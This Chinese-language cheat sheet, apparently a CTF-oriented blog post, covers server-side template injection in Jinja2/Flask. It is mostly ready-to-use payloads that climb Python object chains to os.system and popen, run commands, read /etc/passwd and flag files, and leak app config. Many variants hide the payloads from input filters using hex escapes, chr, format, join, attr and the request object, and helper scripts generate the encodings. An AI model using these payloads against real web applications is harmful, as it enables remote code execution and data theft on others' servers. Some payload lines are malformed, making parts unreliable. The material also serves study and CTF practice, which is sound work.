SSTI模板注入Plus | Bypass
SSTI模板注入Plus | Bypass
一些语法:
{% ... %} 用来声明变量,也可以用于循环语句和条件语句
{{ ... }} 将表达式打印到模板输出
{# ... #} 未包含在模板输出中的注释
# ... # 和{%%}有相同的效果
例子:
{% set x= 'abcd' %} 声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %} 条件语句
# for i in ['a','1']
{{ i }}
# endfor
{% for i in ['a','1'] %}
{{ item }}
{% endfor %}
这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即app.jinja_env.line_statement_prefix="#" (配置满足也不一定可以)
获取变量(键值)
除了标准的python语法使用点(.)
外,还可以使用中括号([])
来访问变量的属性
{{"".__class__}}
{{""['__classs__']}}
获取键值的本质是调用魔法函数_getitem_()
所以可以使用_getitem_()替代中括号取键值
此外对于字典对象的话还可使用pop()函数得到键值,还有其他一些方法如下
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
__getattribute__魔法函数简直就是个万金油函数(在python反序列化常用)
__getattribute__函数用于调用对象(生成类的一个具体对象)
0x01获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]
[ ]不可用
''.__class__.__mro__.__getitem__(1)
{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)
_ 和 . 不可用
中括号可用小括号代替
单引号可用双引号代替
''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f'] <=> ''.__class__
依照上面分别用ascii编码代替字符串即可
__mro__ : ['\x5f\x5f\x6d\x72\x6f\x5f\x5f']
__class__ : ['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']
__getitem__ : ['\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f']
__subclasses__ : ['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']
''.__class__.__mro__.__getitem__(1) <=> ''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x6d\x72\x6f\x5f\x5f']['\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f'](1)
获取字符串十六进制编码的脚本:
while 1:
a=input("#input your string :")
print("['",end="")
for i in a:
print("\\x"+str(hex(ord(i))).replace("0x",""),end="")
print("']\n")
以''.__class__.__mro__.[2].__subclasses__().pop(40)('/etc/passwd').read()
为例
0x02Bypass_Some_Chars
Bypass '+"
借助request对象(推荐)
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
Bypass _+'+"
{{''[request.args.class][request.args.mro][2]request.args.subclasses.read() }}&class=_class__&mro=_mro__&subclasses=__subclasses__
Bypass _ +. +'
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/flag")}}
#也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"/flag")}}
Bypass . + [ + ]
{{url_for.__globals__.os.system('calc')}}
{{url_for|attr("__globals__")|attr("os")|attr("system")('calc')}}
Bypass ( )
小括号不可替代的用处就是执行函数,而能够绕过小括号(也就是不适用())依旧能够执行函数的方法目前还没见过,一般题目直接过滤小括号的话那可以直接考虑flag在当前app的环境变量中了
绕过小括号就不能执行函数了
在2022CnHongKe中就有一个题是flag在config中,但渲染字符串带上了{% set config = ""%}+(可控输入)
这是可以通过下面两个函数将执行config置空命令后的依旧输出原config.FLAG
{{url_for.__globals__['current_app'].config['FLAG']}}
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
一些绕过特定字符串的方法
一些可以使用的函数
1. chr函数
使用chr函数,要先获取到chr函数才行
{{url_for.__globals__.os.system('calc')}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)%2bchr(115)+chr(119).read() }}
2. +拼接
{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__["os"].system('calc')}}
{{url_for.__globals__["os"]['system']('calc')}}
{{url_for.__globals__["os"]['sys'+'tem']('ca'+'lc')}}
以上均可执行系统命令
3. 翻转[::-1]
{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__['so'[::-1]].system('calc')}}
4. ascii转换
这个方法真就完全没用过,在yu师傅的文章看到才知道,不过测试了一下使用的时候会报错
测试payload: {{url_for.__globals__.os[("{0,c}{1,c}{2,c}{3,c}{4,c}{5,c}".format(115, 121, 115, 116, 101, 10))]('calc')}}
{n,type}其中n表示在第几位,type表示类型{0,c}{1,c}分别表示在第一位的字符和第二位的字符
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
转换脚本:
while 1:
s,t=input("#input your string :"),""
print("[\"",end="")
for i,c in zip(range(len(s)),s):
print("{"+str(i)+",c}",end="")
t+=str(ord(c))+","
print("\".format("+t[:-2:]+")]")
5. format格式化填充
用+拼接即可,这个payload较长
{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__.os["{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m')]('calc')}}
system : "{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m')
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
6. 编码绕过
{{url_for.__globals__.os.system('calc')}}
{{url_for['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x73\x79\x73\x74\x65\x6d']('\x63\x61\x6c\x63')}}
__globals__ : ['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']
os : ['\x6f\x73']
system : ['\x73\x79\x73\x74\x65\x6d']
clac : \x63\x61\x6c\x63
转换脚本:
while 1:
print("{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m'))
s,t=input("#input your string :"),"\'"
print("[\"",end="")
for i,c in zip(range(len(s)),s):
print("{"+str(i)+"}",end="")
t+=c+"','"
print("\".format("+t[:-2:]+")]")
7. 大小写转换
{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__.os['SYSTEM'.lower()]('calc')}}
8. 利用~进行拼接
在jinja2里面可以利用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
9. replace函数
{{url_for.__globals__.os["sysatem".replace("a","")]('calc')}}
10. 利用过滤器
attr()
""|attr("__class__")
相当于
"".__class__
常见于点号(.)
被过滤,或者点号(.)
和中括号([])
都被过滤的情况。
last()
"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]
join()
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
lower()
""["__CLASS__"|lower] : ""["__class__"]
<==> ""["__CLASS__".lower()]
reverse()
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
<==> "__claee__".replace("ee","ss")
string()
(().__class__|string)[0] : <
(().__class__|string)[1] : c
(().__class__|string)得到的是" <class 'tuple'> "
select()
()|string : ()
()|select|string : <generator object select_or_reject at 0x0000011328A7BBF8>
(()|select|string)[15]+(()|select|string)[20]+(()|select|string)[6]+(()|select|string)[18]+(()|select|string)[18]+(()|select|string)[24]+(()|select|string)[24]
<==> "__class__"
更多的其他一些内置标准过滤器可见:
内置(方法/函数)获取
以下为获得chr
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)
参数获取
测试可用__class__
request.args.x1 get传参
request.values.x1 get、post传参
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
request.cookies
键值获取
测试可用__class__
dict['xxx']
dict.__getitem__(0)
dict.__getitem__('xxx')
dict.pop(0)
dict.pop('xxx')
dict.get(0)
dict.get('xxx')
dict.setdefault('xxx')
以上方法并不是任何时候都通用,需要主体具有对应的方法或函数才行,否则就会报错
属性获取
测试可用__class__
().xxx
()["xxx"]
()|attr("xxx")
().__getattribute__("xxx")
自己动手构造可用payload
几个payload:
>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
参考文章:
https://www.jianshu.com/p/a736e39c3510 (SSTI Flask 技巧进阶)
https://blog.csdn.net/miuzzx/article/details/110220425 (SSTI模板注入绕过(进阶篇))